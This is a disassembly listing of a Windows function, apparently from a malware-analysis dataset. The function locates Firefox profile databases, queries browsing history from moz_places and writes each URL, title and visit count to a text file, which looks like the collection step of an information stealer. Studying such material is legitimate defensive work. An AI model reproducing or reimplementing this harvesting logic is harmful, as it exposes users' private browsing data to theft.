Function at 0x140038b50
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x720
mov rax, qword [0x140346fc0]
xor rax, rsp
mov qword [rsp + 0x718], rax
xor ebx, ebx
mov r12d, ebx
mov dword [rsp + 0x40], ebx
lea rax, [rsp + 0x500]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x1400392ca
xorps xmm0, xmm0
movups xmmword [rsp + 0x368], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x378], xmm1
lea rax, [rsp + 0x500]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], bx
jne 0x140038be0
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x368]
call fcn.140025e20
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x330], xmm0
mov qword [rsp + 0x340], rax
lea rdx, [rsp + 0x368]
lea rcx, [rsp + 0x330]
call fcn.140036100
nop
mov rdi, qword [rsp + 0x330]
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x70], rax
lea rsi, str.Xa_
mov r15d, 2
mov qword [rsp + 0x68], rdi
cmp rdi, qword [rsp + 0x70]
je 0x14003a7ab
mov r13, rdi
mov qword [rsp + 0x78], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x2a8], rbx
mov r8d, 0x33
lea rdx, str.92_112_108_97_99_101_115_46_115_113_108_105_116_101
lea rcx, [rsp + 0x290]
call fcn.140025e20
nop
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x2b0]
call fcn.140023cc0
nop
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 7
jbe 0x140038cf9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038cf4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a9dd
call fcn.140260e60
lea r8, [rsp + 0x2b0]
cmp qword [rsp + 0x2c8], 0xf
seta r9b
cmova r8, qword [rsp + 0x2b0]
add r8, qword [rsp + 0x2c0]
lea rdx, [rsp + 0x2b0]
test r9b, r9b
cmovne rdx, qword [rsp + 0x2b0]
lea rcx, [rsp + 0xe0]
call fcn.14005d8e0
nop
mov r8, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140038d4e
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.14006c220
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or r12d, 1
movups xmmword [rsp + 0x250], xmm0
movups xmmword [rsp + 0x260], xmm1
mov rdx, qword [rsp + 0xf8]
cmp rdx, 7
jbe 0x140038dcc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038dc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a80a
call fcn.140260e60
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], 7
mov word [rsp + 0xe0], bx
mov r8d, 3
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x180]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rsp + 0x140], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0xa0], ecx
mov qword [rsp + 0xa8], rsi
movaps xmm0, xmmword [rsp + 0xa0]
movdqa xmmword [rsp + 0x210], xmm0
mov eax, dword [rsp + 0x140]
test eax, eax
je 0x14003a6f4
cmp eax, 1
je 0x14003a6fc
xorps xmm0, xmm0
movups xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x2a8], rbx
mov r8d, 0x48
lea rdx, str.92_70_114_101_100_121_95_80_108_97_99_101_115_46_115_113_108_105_116_101
lea rcx, [rsp + 0x290]
call fcn.140025e20
nop
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x2d0]
call fcn.140023cc0
nop
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 7
jbe 0x140038edf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038eda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a9b4
call fcn.140260e60
lea r8, [rsp + 0x2d0]
cmp qword [rsp + 0x2e8], 0xf
seta r9b
cmova r8, qword [rsp + 0x2d0]
add r8, qword [rsp + 0x2e0]
lea rdx, [rsp + 0x2d0]
test r9b, r9b
cmovne rdx, qword [rsp + 0x2d0]
lea rcx, [rsp + 0x100]
call fcn.14005d8e0
nop
mov r8, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140038f34
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.14006c220
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or r12d, 2
mov dword [rsp + 0x40], r12d
movups xmmword [rsp + 0x230], xmm0
movups xmmword [rsp + 0x240], xmm1
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x140038fb7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038fb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a810
call fcn.140260e60
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], 7
mov word [rsp + 0x100], bx
mov r8d, 3
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x190]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0xb0], ecx
mov qword [rsp + 0xb8], rsi
movaps xmm0, xmmword [rsp + 0xb0]
movdqa xmmword [rsp + 0x210], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x14003905e
cmp eax, 1
je 0x140039066
lea rcx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rcx, qword [rsp + 0x230]
call fcn.1402427a0
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14003a816
jmp 0x140039066
test ecx, ecx
jne 0x14003a82f
lea rdx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x250]
cmp qword [rsp + 0x268], 7
cmova rcx, qword [rsp + 0x250]
xor r8d, r8d
call fcn.140241db4
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14003a84c
lea rcx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rcx, qword [rsp + 0x230]
lea rdx, [rsp + 0x200]
call fcn.140183560
mov rcx, qword [rsp + 0x200]
test eax, eax
je 0x1400392fc
call fcn.1401813e0
nop
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x140039136
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039131
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a9b4
call fcn.140260e60
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x140039195
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039190
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a9ba
call fcn.140260e60
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2d0], 0
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x1400391f9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400391f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a86d
call fcn.140260e60
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0xf
jbe 0x140039258
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039253
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a873
call fcn.140260e60
mov qword [rsp + 0x2c0], rbx
mov qword [rsp + 0x2c8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2b0], 0
lea rcx, [rsp + 0x330]
call fcn.140042b40
nop
mov rdx, qword [rsp + 0x380]
cmp rdx, 7
jbe 0x1400392ca
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x368]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400392c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a879
call fcn.140260e60
mov rcx, qword [rsp + 0x718]
xor rcx, rsp
call fcn.140260e40
lea r11, [rsp + 0x720]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x1f8]
mov r8d, 0xffffffff
lea rdx, str.SELECT_url__title__visit_count_FROM_moz_places
call fcn.1401843e0
test eax, eax
je 0x140039520
mov rcx, qword [rsp + 0x200]
call fcn.1401813e0
nop
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x140039379
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039374
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a9b4
call fcn.140260e60
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x1400393d8
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400393d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a9ba
call fcn.140260e60
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2d0], 0
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x14003943c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039437
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a86d
call fcn.140260e60
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0xf
jbe 0x14003949b
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039496
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a873
call fcn.140260e60
mov qword [rsp + 0x2c0], rbx
mov qword [rsp + 0x2c8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2b0], 0
lea rcx, [rsp + 0x330]
call fcn.140042b40
nop
mov rdx, qword [rsp + 0x380]
cmp rdx, 7
jbe 0x1400392ca
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x368]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400392c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a879
jmp 0x1400392c5
mov rcx, qword [rsp + 0x1f8]
call fcn.140185040
cmp eax, 0x64
jne 0x14003a4ef
xor edx, edx
mov rcx, qword [rsp + 0x1f8]
call fcn.140185630
mov rsi, rax
mov edx, 1
mov rcx, qword [rsp + 0x1f8]
call fcn.140185630
mov r14, rax
mov edx, r15d
mov rcx, qword [rsp + 0x1f8]
call fcn.140185630
mov r15, rax
test rsi, rsi
je 0x14003a4bc
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rsi + rcx], 0
jne 0x140039580
test rcx, rcx
je 0x14003a4bc
test r14, r14
je 0x14003a4bc
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r14 + rax], 0
jne 0x1400395a2
test rax, rax
je 0x14003a4bc
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x1400395c0
test rax, rax
je 0x14003a4bc
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [r14 + rax], 0
jne 0x1400395e0
test rax, rax
je 0x14003a4bc
test r15, r15
je 0x14003a4bc
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x140039603
test rax, rax
je 0x14003a4bc
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8d, 0x1d
lea rdx, str.92_72_105_115_116_111_114_121
lea rcx, [rsp + 0x48]
call fcn.140025e20
nop
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x290]
call fcn.140023cc0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140039695
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039690
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a972
call fcn.140260e60
lea r8, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 0xf
seta r9b
cmova r8, qword [rsp + 0x290]
add r8, qword [rsp + 0x2a0]
lea rdx, [rsp + 0x290]
test r9b, r9b
cmovne rdx, qword [rsp + 0x290]
lea rcx, [rsp + 0x120]
call fcn.14005d8e0
nop
lea r8, [0x140361710]
cmp qword [0x140361728], 7
cmova r8, qword [0x140361710]
mov r9, qword [0x140361720]
mov rcx, rax
call fcn.14006c220
xorps xmm0, xmm0
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x270], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x280], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
bts r12d, 0xa
mov dword [rsp + 0x40], r12d
mov rdx, qword [rsp + 0x138]
cmp rdx, 7
jbe 0x140039796
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039791
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a87f
call fcn.140260e60
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], 7
mov word [rsp + 0x120], bx
lea rdx, [rsp + 0x270]
cmp qword [rsp + 0x288], 7
cmova rdx, qword [rsp + 0x270]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, qword [rsp + 0x280]
lea rcx, [rsp + 0x48]
call fcn.140025e20
or r12d, 0x1800
mov dword [rsp + 0x40], r12d
mov r8d, 3
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1a0]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rsp + 0x160], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0xc0], ecx
lea rax, str.Xa_
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0x210], xmm0
mov eax, dword [rsp + 0x160]
test eax, eax
je 0x14003989c
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400398ae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400398a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a885
jmp 0x1400398a9
mov dil, 1
test ecx, ecx
jne 0x14003a88b
jmp 0x14003985d
call fcn.140260e60
test dil, dil
je 0x140039968
lea rdx, [rsp + 0x270]
cmp qword [rsp + 0x288], 7
cmova rdx, qword [rsp + 0x270]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, qword [rsp + 0x280]
lea rcx, [rsp + 0x48]
call fcn.140025e20
or r12d, 0x6000
mov dword [rsp + 0x40], r12d
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
call fcn.14024206c
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14003a8a5
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140039968
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039963
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a8bb
call fcn.140260e60
mov rcx, r13
call fcn.140048960
inc rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x348], xmm0
mov qword [rsp + 0x358], rbx
mov qword [rsp + 0x360], rbx
mov rcx, qword [r13 + 0x10]
cmp rcx, rax
jb 0x14003a8c1
sub rcx, rax
mov r8, 0xffffffffffffffff
cmp rcx, r8
cmovb r8, rcx
mov rcx, r13
cmp qword [r13 + 0x18], 7
jbe 0x1400399ba
mov rcx, qword [r13]
lea rdx, [rcx + rax*2]
lea rcx, [rsp + 0x348]
call fcn.140025e20
or r12d, 4
mov dword [rsp + 0x40], r12d
lea rdx, [rsp + 0x270]
cmp qword [rsp + 0x288], 7
seta r9b
cmova rdx, qword [rsp + 0x270]
mov rax, qword [rsp + 0x280]
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x270]
test r9b, r9b
cmovne rdx, qword [rsp + 0x270]
lea r9, [rsp + 0x44]
lea rcx, [rsp + 0x310]
call fcn.14005fe20
nop
movabs rax, 0x7ffffffffffffffe
mov rcx, qword [rsp + 0x320]
sub rax, rcx
cmp rax, 1
jb 0x14003a8c7
lea r9, [rsp + 0x310]
cmp qword [rsp + 0x328], 7
cmova r9, qword [rsp + 0x310]
mov qword [rsp + 0x30], 1
lea rax, [0x1402f64c4]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x310]
movzx edx, byte [rsp + 0x44]
lea rcx, [rsp + 0x80]
call fcn.14006c320
or r12d, 8
mov dword [rsp + 0x40], r12d
mov r8d, 8
lea rdx, str.Firefox_
lea rcx, [rsp + 0x80]
call fcn.140048ec0
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x220], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or r12d, 0x10
mov dword [rsp + 0x40], r12d
lea rdx, [rsp + 0x348]
cmp qword [rsp + 0x360], 7
cmova rdx, qword [rsp + 0x348]
mov r8, qword [rsp + 0x358]
lea rcx, [rsp + 0x210]
call fcn.140048ec0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or r12d, 0x20
mov dword [rsp + 0x40], r12d
mov r8d, 4
lea rdx, str..txt
lea rcx, [rsp + 0x48]
call fcn.140048ec0
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x2f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x300], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or r12d, 0x40
mov dword [rsp + 0x40], r12d
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140039c0c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039c07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a8cd
call fcn.140260e60
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], bx
mov rdx, qword [rsp + 0x228]
cmp rdx, 7
jbe 0x140039c67
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039c62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a8d3
call fcn.140260e60
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], 7
mov word [rsp + 0x210], bx
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x140039ccb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039cc6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a8d9
call fcn.140260e60
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], 7
mov word [rsp + 0x80], bx
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x3f0]
call fcn.1402a1980
lea rdx, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 7
cmova rdx, qword [rsp + 0x2f0]
mov r8d, 8
lea rcx, [rsp + 0x3f0]
call fcn.14004dc90
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3ec], edx
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rsi + r8], 0
jne 0x140039d80
mov rdx, rsi
lea rcx, [rsp + 0x210]
call fcn.140012310
nop
lea rdx, [rsp + 0x210]
cmp qword [rsp + 0x228], 0xf
seta r9b
cmova rdx, qword [rsp + 0x210]
mov r8, qword [rsp + 0x220]
add r8, rdx
lea rdx, [rsp + 0x210]
test r9b, r9b
cmovne rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x388]
call fcn.14005d8e0
bts r12d, 7
mov dword [rsp + 0x40], r12d
mov rdx, qword [rsp + 0x228]
cmp rdx, 0xf
jbe 0x140039e32
inc rdx
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039e2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a8df
call fcn.140260e60
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x210], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [r14 + r8], 0
jne 0x140039e70
mov rdx, r14
lea rcx, [rsp + 0x48]
call fcn.140012310
nop
lea r8, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
seta r9b
cmova r8, qword [rsp + 0x48]
add r8, qword [rsp + 0x58]
lea rdx, [rsp + 0x48]
test r9b, r9b
cmovne rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x3c8]
call fcn.14005d8e0
bts r12d, 8
mov dword [rsp + 0x40], r12d
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140039f04
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039eff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a8e5
call fcn.140260e60
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r15 + r8], 0
jne 0x140039f40
mov rdx, r15
lea rcx, [rsp + 0x210]
call fcn.140012310
nop
lea r8, [rsp + 0x210]
cmp qword [rsp + 0x228], 0xf
seta r9b
cmova r8, qword [rsp + 0x210]
add r8, qword [rsp + 0x220]
lea rdx, [rsp + 0x210]
test r9b, r9b
cmovne rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x3a8]
call fcn.14005d8e0
bts r12d, 9
mov dword [rsp + 0x40], r12d
mov rdx, qword [rsp + 0x228]
cmp rdx, 0xf
jbe 0x140039fef
inc rdx
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039fea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a8eb
call fcn.140260e60
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x210], 0
lea rdx, str.URL_:
lea rcx, [rsp + 0x3f0]
call fcn.14005ff20
lea rdx, [rsp + 0x388]
cmp qword [rsp + 0x3a0], 7
cmova rdx, qword [rsp + 0x388]
mov r8, qword [rsp + 0x398]
mov rcx, rax
call fcn.140074b50
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, rax
call fcn.14005ff20
lea rdx, str.TITLE_:
mov rcx, rax
call fcn.14005ff20
lea rdx, [rsp + 0x3c8]
cmp qword [rsp + 0x3e0], 7
cmova rdx, qword [rsp + 0x3c8]
mov r8, qword [rsp + 0x3d8]
mov rcx, rax
call fcn.140074b50
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, rax
call fcn.14005ff20
lea rdx, str.VISIT_COUNT_:
mov rcx, rax
call fcn.14005ff20
lea rdx, [rsp + 0x3a8]
cmp qword [rsp + 0x3c0], 7
cmova rdx, qword [rsp + 0x3a8]
mov r8, qword [rsp + 0x3b8]
mov rcx, rax
call fcn.140074b50
lea rdx, str._n____________________________________
mov rcx, rax
call fcn.14005ff20
mov rcx, rax
call fcn.14005d000
lea rcx, [rsp + 0x3f8]
call fcn.14004db90
test rax, rax
jne 0x14003a144
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rsp + rcx + 0x438], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rsp + rcx + 0x400]
and eax, 0x17
mov dword [rsp + rcx + 0x400], eax
mov edx, dword [rsp + rcx + 0x404]
and edx, eax
jne 0x14003a8f1
mov rdx, qword [rsp + 0x3c0]
cmp rdx, 7
jbe 0x14003a18c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a187
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a94e
call fcn.140260e60
mov qword [rsp + 0x3b8], rbx
